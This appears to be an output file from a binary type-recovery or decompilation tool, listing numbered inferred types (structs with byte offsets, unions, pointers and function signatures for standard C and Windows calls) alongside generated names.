351 union(ptr(ptr(num8_t)),ptr(struct(0:ptr(num8_t),8:reg32_t,12:reg32_t,32:ptr(TOP),40:float64_t))) "Union_12"
352 ptr(struct(0:num32_t,4:reg32_t,8:reg32_t,12:reg16_t,28:ptr(TOP))) "Struct_298*"
353 ptr(struct(0:ptr(struct()),12:reg32_t,16:num32_t,28:num32_t,32:reg32_t)) "Struct_288*"
354 ptr(struct(0:array(reg8_t,20),20:ptr(struct()))) "StructFrag_88*"
355 ptr(struct(0:array(reg8_t,56),56:ptr(TOP))) "StructFrag_204*"
356 ptr(struct(0:num32_t,20:ptr(struct()))) "Struct_488*"
357 ptr(struct(0:ptr(struct(0:array(reg8_t,16),16:reg32_t)),12:reg32_t)) "Struct_492*"
358 ptr(struct(4:reg32_t,32:ptr(TOP))) "Struct_264*"
359 ptr(struct(0:array(reg8_t,12),12:reg16_t)) "StructFrag_20*"
360 ptr(struct(0:ptr(struct()),4:reg32_t,12:reg32_t)) "Struct_263*"
361 ptr(struct(4:ptr(TOP),12:reg16_t)) "Struct_545*"
362 ptr(struct(8:ptr(num32_t),24:reg32_t)) "Struct_436*"
363 ptr(ptr(reg16_t)) "word**"
364 ptr(struct(0:array(reg8_t,24),24:num32_t)) "StructFrag_85*"
365 union(ptr(num32_t),ptr(struct(0:reg64_t,8:num32_t))) "Union_89"
366 ptr(struct(0:num32_t,28:ptr(TOP))) "Struct_543*"
367 ptr(struct(0:ptr(TOP),8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,52:reg32_t,56:reg32_t,64:reg32_t,68:num32_t,72:reg32_t,84:reg32_t,88:reg32_t,92:reg32_t,96:reg32_t)) "Struct_532*"
368 ptr(struct(0:reg32_t,48:ptr(struct(4:reg32_t,52:ptr(TOP))))) "Struct_535*"
368 ptr(struct(0:reg32_t,48:ptr(struct(4:reg32_t,52:ptr(TOP))))) "Struct_539*"
369 ptr(ptr(struct(0:ptr(TOP),8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,52:reg32_t,56:reg32_t,64:reg32_t,68:num32_t,72:reg32_t,84:reg32_t,88:reg32_t,92:reg32_t,96:reg32_t))) "Struct_532**"
370 ptr(struct(0:ptr(struct()),4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)) "Struct_635*"
371 ptr(struct(0:reg32_t,28:ptr(TOP))) "Struct_592*"
372 union(ptr(reg32_t),ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,32:ptr(TOP)))) "Union_19"
373 ptr(struct(4:reg32_t,32:ptr(struct(4:reg32_t,32:ptr(struct(4:reg32_t,32:ptr(TOP))))))) "Struct_639*"
374 ptr(struct(4:reg32_t,32:ptr(struct(4:reg32_t,32:ptr(struct()))))) "Struct_640*"
375 ptr(struct(4:reg32_t,32:ptr(struct()))) "Struct_638*"
376 ptr(struct(0:array(reg8_t,14),14:reg16_t)) "StructFrag_11*"
377 ptr(ptr(struct(0:array(reg8_t,14),14:reg16_t))) "StructFrag_11**"
378 ptr(union(num32_t,ptr(num8_t))) "Union_43*"
379 union(ptr(struct(0:reg32_t,8:ptr(struct(0:reg32_t,8:ptr(struct(0:reg64_t,8:ptr(TOP))))))),ptr(struct(0:reg64_t,8:ptr(TOP)))) "Union_21"
380 ptr(struct(0:array(reg8_t,28),28:reg16_t)) "StructFrag_169*"
381 ptr(struct(0:array(reg8_t,28),28:reg32_t)) "StructFrag_108*"
382 ptr(struct(0:array(reg8_t,40),40:ptr(TOP))) "StructFrag_208*"
383 ptr(struct(0:ptr(TOP),40:ptr(TOP),72:ptr(TOP))) "Struct_484*"
384 ptr(struct(0:array(reg8_t,80),80:ptr(TOP))) "StructFrag_182*"
385 ptr(struct(88:float64_t,104:reg32_t)) "Struct_720*"
386 ptr(struct(0:reg32_t,4:ptr(struct(0:reg32_t,4:num32_t,8:reg32_t,12:ptr(TOP))))) "StructFrag_107*"
387 ptr(ptr(num32_t)) "int**"
388 ptr(struct(0:array(reg8_t,144),144:reg32_t)) "StructFrag_15*"
389 ptr(array(reg8_t,4004)) "unknown_32032*"
390 ptr(struct(4294967272:float32_t,4294967276:float32_t,4294967284:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_722*"
24 ptr(int32_t) "signed int[]"
391 ptr(struct(0:float32_t,8:float32_t,12:float32_t,16:float32_t,44:float32_t,48:float32_t,52:float32_t,56:float32_t,60:float32_t,64:float32_t,4294967292:float32_t)) "Struct_729*"
392 ptr(struct(0:float32_t,4:float32_t,12:float32_t,16:float32_t,20:float32_t)) "Struct_730*"
393 ptr(struct(0:reg32_t,4:float32_t)) "StructFrag_49*"
394 ptr(struct(0:float32_t,4:float32_t)) "Struct_725*"
395 ptr(struct(0:array(reg8_t,12),12:float32_t)) "StructFrag_73*"
396 ptr(struct(0:reg32_t,4:ptr(TOP))) "StructFrag_2*"
397 union(ptr(TOP),num32_t) "Union_3"
398 ptr(struct(20:reg32_t,4294967292:union(num32_t,ptr(num8_t)))) "Struct_471*"
399 ptr(struct(4294967272:reg32_t,4294967276:float32_t,4294967280:float32_t,4294967284:float32_t,4294967288:float32_t)) "Struct_458*"
400 ptr(struct(4294967276:float32_t,4294967280:float32_t,4294967284:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_682*"
401 ptr(struct(0:float32_t,4294967292:float32_t)) "Struct_683*"
402 ptr(struct(0:float64_t,4294967264:float64_t,4294967272:float64_t,4294967280:float64_t,4294967288:float64_t)) "Struct_684*"
403 ptr(struct(4294967248:float64_t,4294967256:float64_t,4294967264:float64_t,4294967272:float64_t,4294967280:float64_t)) "Struct_685*"
404 ptr(struct(0:array(reg8_t,64),64:num32_t)) "StructFrag_175*"
405 ptr(struct(0:union(ptr(reg32_t),ptr(struct(4:uint32_t,24:ptr(TOP)))),4:ptr(TOP),8:ptr(TOP),12:reg32_t)) "Struct_463*"
406 union(struct(0:ptr(reg32_t),8:ptr(array(reg8_t,12))),ptr(struct(0:ptr(reg32_t),8:ptr(TOP))),ptr(ptr(struct(0:ptr(reg32_t),8:ptr(TOP)))),struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(TOP),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)),ptr(struct(0:ptr(TOP),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))),struct(0:ptr(TOP),12:reg32_t)) "Union_93"
407 ptr(ptr(struct(0:array(reg8_t,12),12:reg16_t))) "StructFrag_20**"
408 ptr(struct(0:ptr(struct(0:reg32_t,4:num32_t)),4:reg32_t,8:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)) "Struct_416*"
409 ptr(struct(0:ptr(struct(0:reg32_t,4:num32_t)),8:reg32_t,16:int32_t)) "Struct_583*"
410 struct(0:ptr(reg32_t),8:ptr(reg32_t),64:reg32_t,100:reg32_t) "Struct_352"
411 ptr(struct(0:ptr(reg32_t),4:reg32_t,8:reg32_t,12:reg32_t)) "Struct_365*"
412 ptr(struct(0:array(reg8_t,40),40:reg32_t)) "StructFrag_178*"
413 ptr(struct(0:array(reg8_t,44),44:reg32_t)) "StructFrag_16*"
414 ptr(struct(0:array(reg8_t,36),36:reg32_t)) "StructFrag_100*"
415 union(ptr(reg32_t),ptr(struct()),ptr(num32_t),ptr(struct(0:ptr(struct()),4:reg32_t,12:reg32_t)),ptr(struct(0:ptr(num32_t),4:ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(reg64_t))),4:ptr(ptr(reg32_t)))),12:reg32_t)),ptr(struct(0:ptr(TOP),8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,52:reg32_t,56:reg32_t,64:reg32_t,68:num32_t,72:reg32_t,84:reg32_t,88:reg32_t,92:reg32_t,96:reg32_t))) "Union_66"
416 ptr(struct(0:ptr(struct(0:array(reg8_t,12),12:union(ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(0:ptr(TOP),4:union(reg32_t,reg32_t),8:union(reg32_t,reg32_t),12:union(reg32_t,reg32_t),16:num8_t,17:num8_t,20:union(reg32_t,reg32_t),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)))))),8:ptr(TOP))) "Struct_572*"
417 ptr(struct(0:array(reg8_t,12),12:union(ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(0:ptr(TOP),4:union(num32_t,float32_t),8:union(num32_t,float32_t),12:union(num32_t,float32_t),16:num8_t,17:num8_t,20:union(num32_t,float32_t),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)))))) "StructFrag_188*"
418 ptr(struct(0:num32_t,4:num32_t,8:reg32_t,12:union(ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(0:ptr(TOP),4:union(num32_t,float32_t),8:union(num32_t,float32_t),12:union(num32_t,float32_t),16:num8_t,17:num8_t,20:union(num32_t,float32_t),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)))))) "Struct_561*"
419 ptr(struct(8:ptr(reg32_t),12:reg16_t)) "Struct_562*"
420 ptr(struct(0:union(float32_t,ptr(num8_t)),4:union(float32_t,ptr(num8_t)),8:union(float32_t,ptr(num8_t)),12:union(float32_t,ptr(num8_t)),16:num8_t,20:union(float32_t,ptr(num8_t)),24:union(float32_t,ptr(num8_t)),28:union(float32_t,ptr(num8_t)),32:union(float32_t,ptr(num8_t)),36:union(float32_t,ptr(num8_t)))) "Struct_370*"
421 union(ptr(struct(8:float32_t,12:ptr(num8_t),16:ptr(TOP))),ptr(struct(0:array(reg8_t,24),24:int32_t))) "Union_37"
422 ptr(struct(0:ptr(TOP),4:reg32_t,8:reg32_t,12:ptr(TOP),16:num8_t,20:reg32_t,24:ptr(struct(4:reg32_t,16:num8_t,20:reg32_t,24:ptr(TOP))),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))) "Struct_361*"
423 ptr(struct(80:float64_t,216:ptr(TOP))) "Struct_506*"
424 ptr(struct(88:float64_t,216:ptr(TOP))) "Struct_483*"
68 ptr(ptr(struct(0:ptr(TOP)))) "Singleton_0*[]"
425 ptr(struct(0:array(reg8_t,16),16:num32_t)) "StructFrag_150*"
426 ptr(struct(0:array(reg8_t,20),20:num32_t)) "StructFrag_128*"
427 ptr(struct(0:union(num32_t,ptr(num8_t)),4:ptr(TOP),8:reg32_t,12:reg16_t,14:reg16_t,20:reg32_t)) "Struct_384*"
428 union(ptr(num8_t),ptr(struct(0:ptr(num8_t),16:reg32_t,24:reg32_t)),ptr(struct(0:ptr(num8_t),16:num32_t,24:num32_t,28:reg32_t))) "Union_42"
429 ptr(struct(0:ptr(num8_t),16:num32_t,24:num32_t,28:reg32_t)) "Struct_381*"
430 ptr(struct(0:reg32_t,8:reg32_t,12:ptr(TOP))) "Struct_29*"
431 union(ptr(struct(0:reg64_t,8:ptr(TOP))),ptr(struct(0:reg32_t,8:ptr(struct(0:reg32_t,8:ptr(struct(0:reg64_t,8:ptr(TOP)))))))) "Union_96"
432 ptr(struct(4:ptr(struct(4:reg32_t,8:ptr(TOP))),8:ptr(TOP))) "Struct_700*"
432 ptr(struct(4:ptr(struct(4:reg32_t,8:ptr(TOP))),8:ptr(TOP))) "Struct_702*"
433 ptr(struct(4:reg32_t,8:ptr(TOP))) "Struct_701*"
434 ptr(struct(0:reg32_t,4:ptr(struct(4294967280:float32_t,4294967292:float32_t)))) "StructFrag_219*"
435 ptr(struct(0:reg32_t,4:ptr(float32_t))) "StructFrag_220*"
436 union(num32_t,float32_t,ptr(uint32_t),ptr(reg32_t),ptr(struct()),ptr(reg16_t),ptr(struct(0:ptr(TOP),4:reg32_t)),ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(ptr(struct(28:reg32_t,32:ptr(TOP)))),ptr(struct(4:ptr(ptr(TOP)),8:ptr(ptr(TOP)))),ptr(struct(0:reg64_t,8:reg32_t)),ptr(struct(8:float32_t,12:ptr(num8_t),16:ptr(TOP))),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(0:union(ptr(reg32_t),ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(28:reg32_t,32:ptr(TOP)))),4:ptr(TOP))),ptr(struct(0:array(reg8_t,24),24:int32_t)),ptr(struct(0:ptr(TOP),4:union(num32_t,float32_t),8:union(num32_t,float32_t),12:union(num32_t,float32_t),16:num8_t,17:num8_t,20:union(num32_t,float32_t),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))),ptr(struct(0:union(ptr(TOP),int32_t,uint32_t),4:union(ptr(TOP),int32_t,uint32_t),8:union(ptr(TOP),int32_t,uint32_t),12:union(ptr(TOP),int32_t,uint32_t),16:union(ptr(TOP),int32_t,uint32_t),20:union(ptr(TOP),int32_t,uint32_t),24:ptr(reg32_t),28:struct(0:reg32_t,4:reg32_t),36:struct(0:reg32_t,4:reg32_t),40:reg32_t,44:struct(0:reg32_t,4:reg32_t),52:struct(0:reg32_t,4:reg32_t),56:num8_t,60:struct(0:reg32_t,4:reg32_t))),ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(struct(4:ptr(ptr(TOP)),8:ptr(ptr(TOP)))),16:float64_t)),ptr(struct(0:array(reg8_t,64),64:num32_t)),ptr(struct(0:num32_t,4:num32_t,8:reg32_t,12:union(ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(0:ptr(TOP),4:union(num32_t,float32_t),8:union(num32_t,float32_t),12:union(num32_t,float32_t),16:num8_t,17:num8_t,20:union(num32_t,float32_t),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)))))),ptr(struct(0:union(ptr(reg32_t),ptr(struct(4:uint32_t,24:ptr(TOP)))),4:ptr(TOP),8:ptr(TOP)))) "Union_74"
437 ptr(struct(0:union(num32_t,float32_t,ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t)),struct(0:ptr(array(reg8_t,12)),8:reg32_t),ptr(struct(0:ptr(TOP),8:reg32_t)),ptr(ptr(struct(0:ptr(TOP),8:reg32_t))),struct(0:ptr(TOP))),8:uint32_t,12:num32_t,16:reg32_t)) "Struct_587*"
438 union(num32_t,float32_t,ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t)),struct(0:ptr(array(reg8_t,12)),8:reg32_t),ptr(struct(0:ptr(TOP),8:reg32_t)),ptr(ptr(struct(0:ptr(TOP),8:reg32_t))),struct(0:ptr(TOP))) "Union_80"
439 ptr(struct(0:ptr(num8_t),4:reg32_t)) "Struct_715*"
440 ptr(struct(0:union(ptr(reg32_t),ptr(struct(4:uint32_t,24:ptr(TOP)))),4:ptr(TOP),8:ptr(TOP))) "Struct_576*"
441 union(ptr(num32_t),ptr(struct(0:ptr(reg32_t),4:reg32_t,8:reg32_t,12:reg32_t)),ptr(struct(0:ptr(struct(0:reg32_t,4:num32_t)),4:reg32_t,8:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t)),ptr(struct(0:ptr(struct(0:reg32_t,4:num32_t)),8:reg32_t,16:int32_t))) "Union_99"
276 ptr(struct(0:reg32_t,4:ptr(struct(0:array(reg8_t,12),12:union(num32_t,struct(0:ptr(reg32_t),8:ptr(reg32_t))))))) "StructFrag_226*"
442 union(num32_t,struct(0:ptr(reg32_t),8:ptr(reg32_t))) "Union_100"
396 ptr(struct(0:reg32_t,4:ptr(TOP))) "StructFrag_38*"
443 union(ptr(TOP),struct(0:ptr(TOP))) "Union_79"
444 ptr(struct(0:reg32_t,4:ptr(num32_t))) "StructFrag_197*"
445 ptr(struct(4:num32_t,8:ptr(TOP))) "Struct_741*"
446 union(ptr(reg32_t),ptr(struct(0:ptr(TOP),4:reg32_t))) "Union_49"
447 ptr(struct(4294967276:float32_t,4294967280:float32_t,4294967284:float32_t,4294967288:float32_t)) "Struct_716*"
448 ptr(ptr(ptr(num8_t))) "char[][]*"
316 ptr(code_t) "proc**"
449 ptr(struct(0:reg32_t,4:code_t)) "Struct_719*"
450 ptr(struct(4294967256:float64_t,4294967264:float64_t,4294967272:float64_t,4294967280:float64_t)) "Struct_765*"
451 ptr(struct(8:reg32_t,24:ptr(TOP),32:ptr(TOP),36:reg32_t)) "Struct_749*"
452 ptr(struct(8:reg32_t,28:ptr(TOP))) "Struct_769*"
453 ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(num8_t),12:ptr(TOP))))) "StructFrag_214*"
454 ptr(struct(0:ptr(float32_t),4:reg32_t)) "Struct_64*"
455 ptr(struct(64:ptr(ptr(reg32_t)),68:reg32_t)) "Struct_658*"
456 ptr(struct(0:float32_t,4:float32_t,8:float32_t)) "Struct_738*"
457 ptr(struct(12:reg32_t,16:ptr(float64_t))) "Struct_32*"
458 ptr(struct(4:reg32_t,20:float32_t)) "Struct_466*"
459 ptr(struct(0:ptr(struct(0:uint32_t,16:uint32_t,52:ptr(TOP))),4:ptr(TOP),8:ptr(TOP),12:ptr(TOP))) "Struct_388*"
3 code_t "(DWORD -ms-> void)*"
3 code_t "(_Inout_ char*,_In_ char* -> int)*"
3 code_t "(FILE* -> int)*"
3 code_t "(_In_ char*,_In_ char* -> FILE*)*"
3 code_t "(_In_ char*,_In_ char* -> int)*"
3 code_t "(_In_ void*,size_t,size_t,FILE* -> size_t)*"
460 ptr(struct(0:ptr(struct()),52:num32_t,76:num32_t,84:num32_t,88:reg32_t)) "Struct_434*"
3 code_t "(size_t,size_t -> void*)*"
3 code_t "(_Inout_ void* -> void)*"
461 ptr(array(reg8_t,40)) "unknown_320*"
3 code_t "(_Inout_ void*,size_t,size_t,FILE* -> size_t)*"
3 code_t "(_Inout_ char*,int,FILE* -> char*)*"
3 code_t "(int -> int)*"
462 ptr(struct(0:ptr(num8_t),4294967292:union(ptr(num8_t),uint32_t))) "Struct_588*"
463 ptr(struct(0:array(reg8_t,536870908),4294967292:reg32_t)) "StructFrag_118*"
464 ptr(struct(4294967272:ptr(TOP),4294967288:code_t,4294967292:code_t)) "Struct_755*"
465 ptr(struct(0:array(reg8_t,536870896),4294967280:reg32_t)) "StructFrag_74*"
466 union(ptr(reg32_t),ptr(num32_t)) "Union_109"
3 code_t "(_In_ char* -> int)*"
467 ptr(struct(4:ptr(struct()),8:num32_t)) "Struct_294*"
468 ptr(ptr(struct(4:ptr(TOP),8:reg32_t,32:reg32_t,60:reg32_t,72:reg32_t))) "Struct_614*[]"
469 ptr(array(reg8_t,32000)) "unknown_256000*"
470 ptr(struct(8:ptr(reg32_t),12:reg16_t,20:num32_t)) "Struct_332*"
3 code_t "(int,_In_ void*,unsigned int -> int)*"
471 ptr(struct(4:float32_t,8:float32_t,12:float32_t,16:float32_t,20:float32_t,24:float32_t,48:float32_t,52:float32_t,56:float32_t,60:float32_t,64:float32_t,68:float32_t)) "Struct_731*"
472 ptr(struct(0:reg32_t,4:int32_t)) "StructFrag_221*"
473 ptr(struct(0:ptr(num8_t),4:ptr(num8_t),8:ptr(num8_t),12:reg16_t,16:reg32_t)) "Struct_373*"
474 ptr(struct(0:reg32_t,4:ptr(TOP),8:ptr(TOP),12:reg16_t,16:reg32_t,20:reg32_t,24:reg32_t)) "Struct_774*"
475 ptr(struct(4:num32_t,8:ptr(struct(4:num32_t,8:ptr(TOP))))) "Struct_742*"
332 ptr(struct(0:float32_t,20:reg32_t,44:ptr(struct(8:reg32_t,24:ptr(TOP),32:ptr(TOP),36:reg32_t)))) "Struct_750*"
476 ptr(ptr(struct(0:reg32_t,4:float32_t,8:float32_t,12:float32_t))) "Struct_166**"
477 ptr(struct(116:reg32_t,120:reg32_t,124:ptr(struct(0:reg64_t,8:ptr(num8_t))))) "Struct_319*"
478 ptr(struct(0:reg32_t,4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:reg32_t,20:ptr(TOP),24:reg32_t,28:ptr(TOP),32:reg32_t,36:ptr(TOP),48:reg32_t,52:reg32_t,56:reg32_t)) "Struct_324*"
479 ptr(struct(4:ptr(struct(0:reg64_t,8:reg32_t)),12:ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(TOP),8:uint32_t,12:reg32_t,16:reg32_t,20:reg32_t)))),60:reg32_t)) "Struct_414*"
480 union(ptr(struct(4:ptr(struct(0:reg64_t,8:reg32_t)),8:ptr(TOP),12:union(ptr(struct(0:reg32_t,4:ptr(struct(8:reg32_t,12:reg32_t,20:reg32_t)))),ptr(struct(0:ptr(TOP),4:ptr(struct(8:reg32_t,12:reg32_t,20:reg32_t)),8:ptr(TOP)))),16:ptr(reg32_t),20:ptr(reg32_t),24:struct(0:ptr(reg32_t),8:ptr(reg32_t),64:reg32_t,100:reg32_t),36:float32_t,40:struct(0:ptr(reg32_t),8:ptr(reg32_t),64:reg32_t,100:reg32_t))),ptr(struct(4:ptr(struct(0:reg64_t,8:reg32_t)),12:ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(TOP),8:uint32_t,12:reg32_t,16:reg32_t,20:reg32_t)))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,52:reg32_t,60:reg32_t,64:ptr(struct(0:array(reg8_t,32),32:ptr(TOP)))))) "Union_75"
481 union(ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(0:ptr(TOP),4:union(num32_t,float32_t),8:union(num32_t,float32_t),12:union(num32_t,float32_t),16:num8_t,17:num8_t,20:union(num32_t,float32_t),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))),ptr(struct(4:reg32_t,20:float32_t))) "Union_71"
482 ptr(struct(0:ptr(TOP),4:ptr(TOP),8:ptr(TOP),12:reg16_t,14:reg16_t,16:num32_t,20:reg32_t,24:num32_t)) "Struct_377*"
483 ptr(struct(4:num32_t,8:num32_t,32:reg32_t,36:ptr(TOP),40:num32_t)) "Struct_400*"
484 ptr(struct(0:uint32_t,4:uint32_t,8:uint32_t,12:ptr(struct(4:ptr(ptr(TOP)),8:ptr(ptr(TOP)))))) "Struct_394*"
184 ptr(struct(0:array(reg8_t,28),28:ptr(TOP))) "StructFrag_78*"
232 ptr(struct(0:array(reg8_t,32),32:ptr(TOP))) "StructFrag_44*"
123 ptr(struct(0:reg64_t,8:ptr(reg32_t))) "StructFrag_97*"
485 ptr(struct(4:ptr(reg32_t),8:ptr(reg32_t),14:reg16_t)) "Struct_432*"
486 ptr(struct(16:reg32_t,20:ptr(ptr(struct(0:array(reg8_t,12),12:reg16_t))))) "Struct_647*"
407 ptr(ptr(struct(0:array(reg8_t,12),12:reg16_t))) "StructFrag_20*[]"
38 ptr(ptr(reg32_t)) "dword*[]"
487 ptr(struct(0:array(reg8_t,160),160:reg32_t)) "StructFrag_209*"
488 ptr(struct(4294967268:float32_t,4294967272:float32_t,4294967276:float32_t,4294967280:float32_t,4294967284:float32_t,4294967288:float32_t)) "Struct_726*"
489 ptr(struct(0:float32_t,4:float32_t,8:float32_t,12:float32_t,16:float32_t,40:float32_t,44:float32_t,48:float32_t,52:float32_t,56:float32_t,60:float32_t,4294967292:float32_t)) "Struct_732*"
490 ptr(struct(0:float32_t,4:float32_t,8:float32_t,4294967284:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_733*"
491 ptr(struct(0:float32_t,8:float32_t,12:float32_t)) "Struct_739*"
492 struct(0:reg32_t,8:ptr(struct(0:reg32_t,8:ptr(struct(0:reg64_t,8:ptr(TOP)))))) "Struct_696"
493 union(ptr(TOP),struct(0:ptr(TOP),4:reg32_t)) "Union_70"
494 ptr(union(ptr(TOP),num32_t)) "Union_3*"
495 ptr(struct(4294967280:float32_t,4294967284:float32_t,4294967288:float32_t)) "Struct_710*"
496 ptr(struct(4294967272:float32_t,4294967280:float32_t,4294967284:float32_t)) "Struct_709*"
497 struct(0:reg32_t,4:num32_t) "StructFrag_99"
498 ptr(struct(0:array(reg8_t,12),12:union(num32_t,struct(0:ptr(reg32_t),8:ptr(reg32_t))))) "StructFrag_225*"
499 union(float32_t,ptr(struct(8:float32_t,12:float32_t))) "Union_52"
500 ptr(struct(0:array(reg8_t,24),24:reg16_t)) "StructFrag_75*"
501 ptr(struct(4294967248:float64_t,4294967256:float64_t,4294967264:float64_t,4294967272:float64_t)) "Struct_761*"
502 ptr(struct(4294967280:float64_t,4294967288:float64_t)) "Struct_780*"
503 ptr(struct(4294967224:float64_t,4294967232:float64_t,4294967240:float64_t,4294967248:float64_t,4294967256:float64_t,4294967264:float64_t,4294967272:float64_t,4294967280:float64_t)) "Struct_781*"
504 ptr(struct(0:float64_t,8:float64_t)) "Struct_133*"
505 ptr(struct(8:uint32_t,24:ptr(TOP))) "Struct_136*"
506 ptr(struct(8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,32:ptr(TOP),36:ptr(TOP))) "Struct_568*"
507 ptr(struct(12:num32_t,36:reg32_t,40:float64_t)) "Struct_475*"
508 ptr(struct(0:ptr(struct()),24:reg32_t,48:reg32_t,76:num32_t,96:reg32_t)) "Struct_618*"
509 ptr(struct(0:reg32_t,4294967200:ptr(struct()),4294967224:reg32_t,4294967248:reg32_t,4294967276:num32_t)) "Struct_619*"
510 ptr(struct(0:reg64_t,8:ptr(struct(0:ptr(TOP),56:reg32_t)))) "StructFrag_207*"
511 ptr(ptr(struct(0:ptr(TOP),56:reg32_t))) "Struct_641*[]"
512 ptr(struct(4:ptr(num32_t),8:ptr(reg32_t),12:reg16_t,24:num32_t)) "Struct_438*"
513 ptr(ptr(ptr(struct(0:reg32_t,8:ptr(struct(0:reg32_t,8:ptr(array(reg8_t,12)))))))) "Struct_60***"
514 ptr(struct(0:ptr(num8_t),4:ptr(TOP),8:reg32_t,4294967292:reg32_t)) "Struct_327*"
515 ptr(struct(0:float32_t,4:float32_t,8:float32_t,12:float32_t,16:float32_t,20:float32_t,44:float32_t,48:float32_t,52:float32_t,56:float32_t,60:float32_t,64:float32_t)) "Struct_517*"
3 code_t "(HANDLE,_Inout_ LPFILETIME,_Inout_ LPFILETIME,_Inout_ LPFILETIME,_Inout_ LPFILETIME -ms-> BOOL)*"
516 ptr(struct(0:ptr(reg32_t),8:ptr(TOP))) "Struct_151*"
517 ptr(struct(0:union(ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t))),8:ptr(TOP))) "Struct_407*"
518 ptr(struct(0:array(reg8_t,6),6:num8_t)) "StructFrag_28*"
281 ptr(struct(0:ptr(TOP),8:reg32_t)) "Struct_108*"
519 ptr(struct(0:ptr(num32_t),4:num32_t,8:reg32_t,12:reg32_t)) "Struct_654*"
520 ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(struct(0:reg32_t,4:ptr(TOP))))),4:ptr(ptr(reg32_t)))) "Struct_485*"
521 union(ptr(ptr(TOP)),ptr(ptr(reg32_t))) "Union_20"
522 ptr(struct(24:ptr(struct(0:ptr(TOP),4:reg32_t)),28:ptr(TOP))) "Struct_34*"
523 ptr(struct(4:ptr(struct()),8:ptr(TOP))) "Struct_262*"
524 ptr(array(reg8_t,10188)) "unknown_81504*"
525 ptr(struct(4294967276:float32_t,4294967280:float32_t,4294967284:float32_t)) "Struct_461*"
284 ptr(struct(0:reg64_t,8:ptr(TOP))) "StructFrag_64*"
526 ptr(struct(4294967268:float32_t,4294967280:float32_t)) "Struct_711*"
527 ptr(struct(0:ptr(struct(4294967280:float32_t,4294967288:float32_t,4294967292:float32_t)),4:ptr(float32_t))) "Struct_713*"
528 ptr(struct(4294967256:float64_t,4294967264:float64_t,4294967272:float64_t)) "Struct_766*"
529 union(ptr(ptr(TOP)),ptr(struct(0:array(reg8_t,80),80:ptr(TOP)))) "Union_64"
3 code_t "(int,FILE* -> int)*"
530 ptr(struct(0:reg32_t,32:ptr(TOP))) "Struct_235*"
3 code_t "(_In_ char*,int -> char*)*"
531 ptr(struct(0:array(reg8_t,24),24:ptr(struct()))) "StructFrag_91*"
532 ptr(struct(4:ptr(struct()),8:ptr(TOP),20:reg32_t)) "Struct_508*"
533 ptr(struct(4:ptr(reg32_t),8:ptr(reg32_t),12:reg16_t)) "Struct_541*"
534 ptr(struct(0:ptr(struct()),24:reg32_t,48:reg32_t,96:reg32_t)) "Struct_307*"
535 ptr(struct(4:ptr(uint32_t),14:reg16_t)) "Struct_433*"
536 ptr(struct(0:reg32_t,4:num32_t,8:reg32_t,12:ptr(TOP))) "Struct_317*"
537 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,52:reg32_t,56:reg32_t,60:reg32_t,64:reg32_t,68:reg32_t,72:reg32_t,76:reg32_t,80:reg32_t,84:reg32_t,88:reg32_t,92:reg32_t,96:reg32_t,100:reg32_t,104:uint32_t,108:ptr(reg32_t))) "Struct_693*"
538 ptr(struct(0:array(reg8_t,112),112:num32_t)) "StructFrag_210*"
539 ptr(struct(0:float32_t,4:float32_t,8:float32_t,4294967284:float32_t,4294967288:float32_t)) "Struct_734*"
540 union(ptr(struct(0:ptr(struct(0:ptr(struct(4:uint32_t,24:ptr(TOP))),8:ptr(TOP))),4:ptr(reg32_t),8:ptr(TOP),12:ptr(struct(0:ptr(reg32_t),4:ptr(reg32_t),8:ptr(struct(0:ptr(TOP),12:reg32_t)))))),ptr(struct(4:union(struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(TOP),12:reg32_t)),12:ptr(struct(0:union(struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(TOP),12:reg32_t)))),84:reg32_t))) "Union_31"
